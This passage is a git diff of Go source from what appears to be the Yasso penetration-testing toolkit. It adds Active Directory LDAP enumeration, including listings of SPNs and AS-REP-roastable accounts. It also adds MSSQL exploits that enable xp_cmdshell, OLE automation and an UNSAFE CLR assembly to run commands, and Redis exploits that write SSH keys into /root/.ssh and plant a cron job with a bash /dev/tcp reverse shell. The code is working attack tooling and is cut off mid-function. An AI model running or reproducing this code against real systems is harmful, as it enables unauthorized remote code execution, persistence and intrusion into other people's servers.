filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
LdapResolver(m, t)
|
||||
t.AppendSeparator()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LdapUserMemberShipResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
if len(m.GetAttributeValue("memberOf")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Member of: \n\t%s", strings.Join(m.GetAttributeValues("memberOf"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LdapGroupDN(conn *ldap.Conn, baseDN string, name string) string {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["specific-groups"], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
return m.DN
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func LdapGroupResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string) error {
|
||||
result, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["group-members"], "{DN}", LdapGroupDN(conn, baseDN, name))),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if len(result.Entries) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{"Domain users in group: "},
|
||||
})
|
||||
for _, m := range result.Entries {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func LdapParse(attr int64, Map map[int]string) []string {
|
||||
values, err := bamflags.ParseInt(attr)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
var all []string
|
||||
for _, value := range values {
|
||||
if propName := Map[value]; propName != "" {
|
||||
all = append(all, propName)
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func LdapGUID(b []byte) (string, error) {
|
||||
if len(b) != 16 {
|
||||
return "", fmt.Errorf("guid must be 16 bytes")
|
||||
}
|
||||
return fmt.Sprintf(
|
||||
"%08x-%04x-%04x-%04x-%012x",
|
||||
binary.LittleEndian.Uint32(b[:4]),
|
||||
binary.LittleEndian.Uint16(b[4:6]),
|
||||
binary.LittleEndian.Uint16(b[6:8]),
|
||||
b[8:10],
|
||||
b[10:]), nil
|
||||
}
|
||||
|
||||
func LdapSID(b []byte) (string, error) {
|
||||
if len(b) < 12 {
|
||||
return "", fmt.Errorf("[+]Invalid Windows SID")
|
||||
}
|
||||
sid := objectsid.Decode(b)
|
||||
return sid.String(), nil
|
||||
}
|
||||
|
||||
// LdapResolver ldap的解析器
|
||||
func LdapResolver(entry *ldap.Entry, t table.Writer) {
|
||||
// DN
|
||||
if len(entry.DN) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("DN: %s", entry.DN)},
|
||||
})
|
||||
}
|
||||
// 用户名
|
||||
if len(entry.GetAttributeValue("sAMAccountName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SAM Account Name: %s", entry.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
}
|
||||
// 用户名类型
|
||||
if len(entry.GetAttributeValue("sAMAccountType")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SAM Account Type: %s", entry.GetAttributeValue("sAMAccountType"))},
|
||||
})
|
||||
}
|
||||
// Mail
|
||||
if len(entry.GetAttributeValue("mail")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Mail ID: %s", entry.GetAttributeValue("mail"))},
|
||||
})
|
||||
}
|
||||
// UID
|
||||
if len(entry.GetAttributeValue("uid")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("UID: %s", entry.GetAttributeValue("uid"))},
|
||||
})
|
||||
}
|
||||
// OU
|
||||
if len(entry.GetAttributeValue("ou")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("OU: %s", entry.GetAttributeValue("ou"))},
|
||||
})
|
||||
}
|
||||
// CN
|
||||
if len(entry.GetAttributeValue("cn")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("CN: %s", entry.GetAttributeValue("cn"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("givenName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Given Name: %s", entry.GetAttributeValue("givenName"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("sn")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SN: %s", entry.GetAttributeValue("sn"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("description")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Description: %s", entry.GetAttributeValue("description"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("title")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Title: %s", entry.GetAttributeValue("title"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("c")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Country: %s", entry.GetAttributeValue("c"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("co")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Country Code: %s", entry.GetAttributeValue("co"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("l")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("City: %s", entry.GetAttributeValue("l"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("st")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("State: %s", entry.GetAttributeValue("st"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("streetAddress")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Street Address: %s", entry.GetAttributeValue("streetAddress"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("postalCode")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Postal Code: %s", entry.GetAttributeValue("postalCode"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("postOfficeBox")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Post Office Box: %s", entry.GetAttributeValue("postOfficeBox"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("company")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Company: %s", entry.GetAttributeValue("company"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("instanceType")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Instance Type: %s", entry.GetAttributeValue("instanceType"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectClass")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object Class: %s", strings.Join(entry.GetAttributeValues("objectClass"), ", "))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectCategory")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object Category: %s", entry.GetAttributeValue("objectCategory"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("memberOf")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Member Of: \n\t%s", strings.Join(entry.GetAttributeValues("memberOf"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("dNSHostName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("DNS Host Name: %s", entry.GetAttributeValue("dNSHostName"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("servicePrincipalName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Service Principal Name (SPN): \n\t%s", strings.Join(entry.GetAttributeValues("servicePrincipalName"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("operatingSystem")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Operating System: %s", entry.GetAttributeValue("operatingSystem"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("operatingSystemVersion")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Operating System Version: %s", entry.GetAttributeValue("operatingSystemVersion"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
|
||||
uacFlag, err := strconv.ParseInt(entry.GetAttributeValue("userAccountControl"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("UAC Flag: %s", strings.Join(LdapParse(uacFlag, UacFlags)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("User Account Control: %s", entry.GetAttributeValue("userAccountControl"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustType")) > 0 {
|
||||
trustType, err := strconv.ParseInt(entry.GetAttributeValue("trustType"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Type: %s", strings.Join(LdapParse(trustType, TrustType)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustDirection")) > 0 {
|
||||
trustDirection, err := strconv.ParseInt(entry.GetAttributeValue("trustDirection"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Direction: %s", strings.Join(LdapParse(trustDirection, TrustDirections)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustAttributes")) > 0 {
|
||||
trustAttributes, err := strconv.ParseInt(entry.GetAttributeValue("trustAttributes"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Attribute: %s", strings.Join(LdapParse(trustAttributes, Trust)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectGUID")) > 0 {
|
||||
guid, err := LdapGUID(entry.GetRawAttributeValue("objectGUID"))
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object GUID: %s", guid)},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectSid")) > 0 {
|
||||
sidByte := []byte(entry.GetAttributeValue("objectSid"))
|
||||
sid, err := LdapSID(sidByte)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object SID: %s", sid)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
44
pkg/exploit/ldap/ldap.go
Normal file
44
pkg/exploit/ldap/ldap.go
Normal file
@@ -0,0 +1,44 @@
|
||||
package ldap
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/ldap/core/query"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LdapAuthAndQuery ldap 认证并且查询目标
|
||||
// 设置参数 command , filter, user , password, dc host , name
|
||||
func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) {
|
||||
s := strings.Split(ldapServer, ".")
|
||||
baseDN := ""
|
||||
for x := 1; x < len(s); x++ {
|
||||
if x == len(s)-1 {
|
||||
baseDN += "DC=" + s[x]
|
||||
} else {
|
||||
baseDN += "DC=" + s[x] + ","
|
||||
}
|
||||
}
|
||||
ldapServer = fmt.Sprintf("%s:389", ldapServer)
|
||||
query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all)
|
||||
}
|
||||
|
||||
func ListLdapCommand() {
|
||||
fmt.Println(" 可执行的查询命令")
|
||||
fmt.Println(" dc - 列出域控制器")
|
||||
fmt.Println(" domain-trust - 列出域信任关系")
|
||||
fmt.Println(" users - 列出域内全部用户")
|
||||
fmt.Println(" computers - 列出域内全部计算机")
|
||||
fmt.Println(" groups - 列出域内组和成员")
|
||||
fmt.Println(" spn - 列出服务的spn对象")
|
||||
fmt.Println(" never-loggedon - 列出域内从未登陆过的用户")
|
||||
fmt.Println(" gpo - 列出gpo规则对象")
|
||||
fmt.Println(" ou - 列出组织单位")
|
||||
fmt.Println(" ms-sql - 列出SQL Server服务(注册的)")
|
||||
fmt.Println(" asreproast - 列出AS-REP可托管账户")
|
||||
fmt.Println(" unconstrained - 列出不受约束委派的用户")
|
||||
fmt.Println(" admin-priv - 列出域内管理员权限组")
|
||||
fmt.Println(" 可执行的过滤器指令(users,groups,computers)")
|
||||
fmt.Println(" list - 仅仅列出全部对象")
|
||||
fmt.Println(" full-data - 列出全部对象带有对象属性")
|
||||
fmt.Println(" membership - 列出全部的成员从一个对象当中")
|
||||
}
|
||||
213
pkg/exploit/mssql/mssql.go
Normal file
213
pkg/exploit/mssql/mssql.go
Normal file
@@ -0,0 +1,213 @@
|
||||
package mssql
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"database/sql"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/SharpSQLKit.txt
|
||||
var SharpSQLKit string
|
||||
|
||||
func ExploitMssql(exploits config.Exploits, method int, Command string) {
|
||||
var (
|
||||
conn = new(setting)
|
||||
)
|
||||
mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
if status == false || err != nil {
|
||||
logger.Fatal("conn mssql failed")
|
||||
return
|
||||
}
|
||||
|
||||
switch method {
|
||||
case 1:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.xp_shell(Command)
|
||||
case 2:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.sp_shell(Command)
|
||||
case 3:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.Install_clr()
|
||||
case 4:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.Uninstall_clr()
|
||||
default:
|
||||
logger.Fatal("not found mssql exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *setting) Setting(conn *sql.DB) {
|
||||
s.Conn = conn
|
||||
}
|
||||
|
||||
type setting struct {
|
||||
Conn *sql.DB
|
||||
Command string
|
||||
}
|
||||
|
||||
func (s *setting) xp_shell(Command string) bool {
|
||||
|
||||
if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
|
||||
return false
|
||||
}
|
||||
logger.Success(fmt.Sprintf("Command: %v", Command))
|
||||
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
|
||||
r, err := config.SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for _, b := range r.Rows {
|
||||
fmt.Println(b[0])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) sp_shell(Command string) bool {
|
||||
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
|
||||
return false
|
||||
}
|
||||
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
|
||||
exec sp_oacreate 'wscript.shell',@shell output
|
||||
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
|
||||
exec sp_oamethod @exec, 'StdOut', @text out;
|
||||
exec sp_oamethod @text, 'ReadAll', @str out
|
||||
select @str`, Command)
|
||||
logger.Success(fmt.Sprintf("Command: %v", Command))
|
||||
r, err := config.SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for i, b := range r.Rows {
|
||||
fmt.Println(b[i])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Enable_ole() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
logger.Fatal("cannot enable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("Ole Automation Procedures", 1) {
|
||||
logger.Fatal("cannot enable 'Ole Automation Procedures'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) check_configuration(option string, value int) bool {
|
||||
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
|
||||
r, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *setting) set_configuration(option string, value int) bool {
|
||||
// 设置
|
||||
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return s.check_configuration(option, value)
|
||||
}
|
||||
|
||||
func (s *setting) set_permission_set() bool {
|
||||
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
|
||||
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) enable_xp_cmdshell() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
logger.Fatal("cannot ebable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("xp_cmdshell", 1) {
|
||||
logger.Fatal("cannot enable 'xp_cmdshell'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Install_clr() bool {
|
||||
if !s.set_permission_set() {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_ASSEMBLY() {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_PROCEDURE() {
|
||||
return false
|
||||
}
|
||||
logger.Info("Install SharpSQLKit successful!")
|
||||
logger.Info("Please Use SQL Connect Tools to Execute")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_ASSEMBLY() bool {
|
||||
var KitHex string
|
||||
logger.Info("SQLKit ==> SharpSQLKit")
|
||||
KitHex = SharpSQLKit
|
||||
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
|
||||
AUTHORIZATION [dbo]
|
||||
FROM 0x%s
|
||||
WITH PERMISSION_SET = UNSAFE;`, KitHex)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("Import the assembly")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_PROCEDURE() bool {
|
||||
var Command string
|
||||
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("Link the assembly to a stored procedure")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Uninstall_clr() bool {
|
||||
var Command string
|
||||
logger.Info("SQLKit ==> SharpSQLKit")
|
||||
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
|
||||
drop assembly CLR_module`)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("uninstall SQLKit successful!")
|
||||
return true
|
||||
}
|
||||
1
pkg/exploit/mssql/static/SharpSQLKit.txt
Normal file
1
pkg/exploit/mssql/static/SharpSQLKit.txt
Normal file
File diff suppressed because one or more lines are too long
499
pkg/exploit/redis/redis.go
Normal file
499
pkg/exploit/redis/redis.go
Normal file
@@ -0,0 +1,499 @@
|
||||
package redis
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"bufio"
|
||||
"context"
|
||||
_ "embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/go-redis/redis/v8"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/exp.so
|
||||
var payload []byte
|
||||
|
||||
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
|
||||
var conn net.Conn
|
||||
var err error
|
||||
var status bool
|
||||
switch method {
|
||||
case 1: // redis写定时计划
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, exploits.User, exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisCron(conn, rebound)
|
||||
case 2: // redis 写key
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisKey(conn, filename)
|
||||
case 3:
|
||||
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
|
||||
var lhost string
|
||||
var lport int
|
||||
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
|
||||
lhost = strings.Split(Listen, ":")[0]
|
||||
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
|
||||
}
|
||||
soWrite(client, lhost, lport, soPath)
|
||||
default:
|
||||
logger.Fatal("not found redis exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func test(conn net.Conn) (cron bool, ssh bool, err error) {
|
||||
var reply string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
ssh = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
cron = true
|
||||
}
|
||||
return cron, ssh, nil
|
||||
}
|
||||
|
||||
func redisCron(conn net.Conn, ReboundAddress string) bool {
|
||||
c, _, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if c {
|
||||
status, err := cronWrite(conn, ReboundAddress)
|
||||
if err != nil {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write rebound shell address success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func redisKey(conn net.Conn, filename string) bool {
|
||||
_, k, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if k {
|
||||
status, err := keyWrite(conn, filename)
|
||||
if err != nil {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write public key into /root/.ssh/ success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
|
||||
var (
|
||||
remote = strings.Split(ReboundAddress, ":")
|
||||
flag = false
|
||||
reply string
|
||||
host string
|
||||
port string
|
||||
)
|
||||
if len(remote) == 2 {
|
||||
host, port = remote[0], remote[1]
|
||||
} else {
|
||||
return false, errors.New("remote host address is not like 192.160.1.1:4444")
|
||||
}
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
|
||||
// 存在定时计划写入
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
// 数据库设置成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
// 写入定时计划任务
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("save corn success")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
